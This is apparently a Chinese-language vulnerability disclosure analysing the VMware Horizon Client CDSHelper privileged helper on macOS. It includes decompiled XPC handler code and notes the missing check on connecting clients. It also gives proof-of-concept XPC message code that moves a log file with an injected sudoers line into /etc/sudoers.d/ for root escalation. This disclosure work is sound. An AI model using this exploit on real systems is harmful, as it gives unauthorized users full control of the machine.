macOS 操作系统使用 XPC 服务实现各种进程之间的基本进程间通信,例如 XPC Service 守护进程与第三方应用程序的特权辅助工具之间的通信。VMware Horizon Client 在安装时会在 /Library/PrivilegedHelperTools/ 目录下注册 com.vmware.horizon.CDSHelper 特权辅助工具。
还应注意,特权辅助工具使用 mach 名称 com.vmware.horizon.CDSHelper 来监听传入的 XPC 连接,如上所示。 随后使用默认的 macOS 开发者工具从辅助二进制文件中转储符号,以确认其包含了 XPC 行为:
» nm -a /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper | grep -i xpc
U __xpc_error_connection_invalid
U __xpc_error_key_description
U __xpc_type_connection
U __xpc_type_dictionary
U __xpc_type_error
U _xpc_connection_create_mach_service
U _xpc_connection_get_pid
U _xpc_connection_resume
U _xpc_connection_send_message
U _xpc_connection_set_event_handler
U _xpc_dictionary_create_reply
U _xpc_dictionary_get_remote_connection
U _xpc_dictionary_get_string
U _xpc_dictionary_set_int64
U _xpc_get_type
U _xpc_release
随后使用 Hopper Disassembler 工具将辅助工具加载到反编译器中以进行进一步逆向工程,如下所示: open -a /Applications/Hopper\ Disassembler\ v4.app /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper 定位并审查了 EntryPoint() 函数,确认它代表了 CDSHelper 的主要入口点。
然后反编译了 sub_100005fa0 函数,从而确认 VMWare Horizon Client 的特权辅助工具使用了 XPC 服务 API——这是 Apple 提供的较低层的 C 级 API,而非位于 Objective-C/Swift 层的 XPC 连接 API:
int sub_100005fa0(int arg0, int arg1) {
sub_1000063d4("Starting service: %s\n");
r0 = xpc_connection_create_mach_service(arg0, 0x0, 0x1);
xpc_connection_set_event_handler(r0, &var_38);
r0 = xpc_connection_resume(r20);
dispatch_main();
return r0;
}
在 mach 服务创建后(通过 xpc_connection_create_mach_service(com.vmware.horizon.CDSHelper)),客户端与 Horizon Client 的 XPC 服务之间的消息通过使用 xpc_dictionary_create() 方法创建的 XPC 字典对象进行交换。 可以使用 Apple 为开发者提供的方法向该字典添加值;这些方法通常以 xpc_dictionary_set_* 开头。 客户端可以通过 xpc_connection_send_* 等方法将这些 XPC 字典对象发送到 XPC 服务。 在 Horizon Client 的 XPC 服务端,注册了一个处理程序,用于处理从客户端接收到的 XPC 字典对象。这是通过 xpc_connection_set_event_handler() 方法完成的。 最后,使用 xpc_dictionary_get_* 等方法从接收到的 XPC 字典对象中读取值。 在 CDSHelper 的 EntryPoint() 返回后,会调用 sub_100056d0 函数:
此时,执行流转到 sub_1000056ec,该函数处理处理入站 XPC 消息的主要工作。下面提供了该反编译函数的完整内容。之后立即审查关键的可疑部分。
int sub_1000056ec(int arg0, int arg1) {
r31 = r31 - 0x90;
var_30 = r24;
stack[-56] = r23;
var_20 = r22;
stack[-40] = r21;
var_10 = r20;
stack[-24] = r19;
saved_fp = r29;
stack[-8] = r30;
r19 = arg1;
var_38 = **___stack_chk_guard;
sub_1000063d4("CDSHelper: The cds helper will call HelperMain.\n");
r0 = xpc_dictionary_get_string(r19, "cdsjob");
if (r0 == 0x0) goto loc_1000057bc;
loc_100005738:
r20 = r0;
r0 = sub_1000063d4("CDSHelper: cdsJob is %s.\n");
if (strcmp(r20, "cdsjob_runscript") == 0x0) goto loc_100005818;
loc_100005760:
if (strcmp(r20, "cdsjob_movefile") == 0x0) goto loc_1000058c4;
loc_100005774:
if (strcmp(r20, "cdsjob_installpackage") == 0x0) {
if (**___stack_chk_guard == var_38) {
r0 = sub_100005498(r19);
}
else {
__stack_chk_fail();
}
}
else {
r0 = sub_100005380(r19, 0x16);
sub_100006434("NOT_REACHED %s:%d\n");
}
return r0;
loc_1000058c4:
r0 = sub_1000068b8();
if (r0 == 0x0) goto loc_100005980;
loc_1000058d4:
r22 = r0;
r0 = xpc_dictionary_get_string(r19, "cds_movefile_srcfile");
r20 = r0;
if (r0 == 0x0) goto loc_1000059b0;
loc_1000058f0:
r0 = xpc_dictionary_get_string(r19, "cds_movefile_dstdir");
r21 = r0;
if (r0 == 0x0) goto loc_1000059f8;
loc_100005908:
sub_1000069b8();
sub_1000069b8();
sub_100006998();
if (0x0 == 0x0) goto loc_100005a60;
loc_100005948:
sub_100006978();
sub_1000067b8();
r0 = "CDSHelper: Failed to move the file : %s.\n";
goto loc_100005a00;
loc_100005a00:
sub_1000063d4(r0);
goto loc_100005a04;
loc_100005a04:
r22 = 0x16;
strerror(0x16);
sub_1000063d4("CDSHelper: The cds moving failed : %s from %s to %s!\n");
goto loc_100005a24;
loc_100005a24:
r0 = r19;
r1 = r22;
goto loc_100005a2c;
loc_100005a2c:
r0 = sub_100005380(r0, r1);
if (**___stack_chk_guard != var_38) {
__stack_chk_fail();
}
return r0;
loc_100005a60:
sub_1000063d4("CDSHelper: The cds moving ran successfully!\n");
r22 = 0x0;
goto loc_100005a24;
loc_1000059f8:
r0 = "CDSHelper: Invalid parameter of moving: destination dir.\n";
goto loc_100005a00;
loc_1000059b0:
sub_1000063d4("CDSHelper: Invalid parameter of moving: source file.\n");
r21 = 0x0;
goto loc_100005a04;
loc_100005980:
sub_1000063d4("CDSHelper: Failed to get the invalid file manager.\n");
r21 = 0x0;
r20 = 0x0;
goto loc_100005a04;
loc_100005818:
r0 = xpc_dictionary_get_string(r19, "vmwareid");
if (r0 == 0x0) goto loc_100005960;
loc_10000582c:
r20 = r0;
r0 = xpc_dictionary_get_string(r19, "path");
if (r0 == 0x0) goto loc_10000596c;
loc_100005844:
r21 = r0;
if ((sub_100005df4(r20, "vmware-id") & 0x1) == 0x0) goto loc_100005998;
loc_10000585c:
r0 = xpc_dictionary_get_string(r19, "appDir");
if (r0 == 0x0) goto loc_1000059c4;
loc_100005870:
r22 = r0;
r0 = xpc_dictionary_get_string(r19, "tempDir");
if (r0 == 0x0) goto loc_1000059c4;
loc_100005888:
sub_100006460();
sub_1000063d4("CDSHelper: The cds script %s is running...\n");
r0 = sub_100005410(&var_60);
r20 = r0;
if (r0 == 0x0) {
r0 = "CDSHelper: The cds script ran successfully!\n";
}
else {
strerror(r20);
r0 = "CDSHelper: The cds script failed to run : %s!\n";
}
goto loc_1000059e8;
loc_1000059e8:
sub_1000063d4(r0);
r0 = r19;
r1 = r20;
goto loc_100005a2c;
loc_1000059c4:
r0 = "CDSHelper: Invalid parameter.\n";
goto loc_1000059cc;
loc_1000059cc:
sub_1000063d4(r0);
r20 = 0x16;
goto loc_1000059d4;
loc_1000059d4:
strerror(r20);
r0 = "CDSHelper: The cds script failed to run : %s!\n";
goto loc_1000059e8;
loc_100005998:
sub_1000063d4("CDSHelper: Invalid script codesigning for %s.\n");
r20 = 0xd;
goto loc_1000059d4;
loc_10000596c:
sub_1000063d4("CDSHelper: Invalid script path.\n");
r20 = 0x2d;
goto loc_1000059d4;
loc_100005960:
r0 = "CDSHelper: Invalid vmwareid.\n";
goto loc_1000059cc;
loc_1000057bc:
sub_1000063d4("CDSHelper: Invalid cdsJob.\n");
strerror(0x16);
r0 = sub_1000063d4("CDSHelper: The cds script failed to run : %s!\n");
if (**___stack_chk_guard == var_38) {
r0 = sub_100005380(r19, 0x16);
}
else {
__stack_chk_fail();
}
return r0;
}
如下方高亮所示,特权辅助工具首先使用 xpc_dictionary_get_string() 方法获取 cdsjob 的值。从这里开始,特权辅助工具有三个可能的字符串:
如果字符串比较结果为 cdsjob_movefile,则 CDSHelper 在 loc_1000058c4 处恢复执行,如下所示。通过 xpc_dictionary_get_string() 方法检查了两个额外的字符串:
在特权辅助工具获取这两个额外字符串后,又调用了三个函数:
void sub_1000069b8() {
[r0 stringWithUTF8String:r2];
return;
}
返回第二个字符串:
void sub_1000069b8() {
[r0 stringWithUTF8String:r2];
return;
}
将由 cds_movefile_srcfile 指定的路径处的文件或目录移动到 cds_movefile_dstdir 指定的新位置 (https://developer.apple.com/documentation/foundation/nsfilemanager/1413529-moveitematpath):
void sub_100006998() {
[r0 moveItemAtPath:r2 toPath:r3 error:r4];
return;
}
此时,除非出现文件系统错误,否则 CDSHelper 将成功移动文件,记录以下消息并返回执行:CDSHelper: The cds moving ran successfully! 需要注意的是,在此操作过程中,特权辅助工具并未对入站客户端连接进行任何检查(例如,通过使用 SecRequirement 字符串以及连接的包标识符、团队标识符、Apple 证书签名等进行签名检查)。因此,恶意行为者可以建立有效的 XPC 连接,并强制特权辅助工具以提升的权限移动任意文件。这引入了权限提升的可能性,可能导致对操作系统的完全入侵,如下所示。 首先设置并发送以下 XPC 字典值,以证明任意根文件覆盖:
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/private/tmp/ticket-Sf12p9");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/private/tmp/ticket-Sf12p91337");
然而,由于 CDSHelper 在反编译函数 sub_1000068b8 中使用了 defaultManager 而非 fileManagerWithAuthorization 来初始化文件管理器对象,因此特权辅助工具在移动文件时会尊重文件所有权;也就是说,原本由非 root 用户拥有的文件在移动过程中不会变为 root 所有。因此,为了通过将文件移动到 /etc/sudoers.d/ 等目录来提升权限,攻击者需要找到一个已经由 root 拥有、并非全局可写、并且在通过 CDSHelper 函数移动文件之前其内容可以部分控制的文件。 如下所示,可以通过 logger 命令行工具部分控制 /var/log/install.log 的内容;这是一个符合利用条件的文件:
» ls -la /var/log/install.log
-rw-r--r--@ 1 root admin 420902 Oct 20 18:46 /var/log/install.log
可以使用 logger(指定 install.error 优先级并添加一个回车符来换行)将一行有效的 sudo 配置插入日志文件中。
下面显示了利用 POC(见 poc.c)中将上述日志文件移动到 /etc/sudoers.d/myfile 的相关行:
xpc_object_t my_message;
my_message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/var/log/install.log");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/etc/sudoers.d/myfile");
注意,在收到通过 sudo 运行的命令时,操作系统将解析日志文件,将过程中关于日志条目无效语法的多个错误输出到 stdout,并最终继续处理直到遇到注入的那一行有效语法。
因此,该利用成功将注入的日志文件移动到 /etc/sudoers.d/ 目录,并展示了可以通过 sudo 触摸位于 /tmp/vmwarebeware 的新文件,从而证明通过 VMWare Horizon Client 的特权辅助工具在底层 macOS 操作系统上成功实现了权限提升。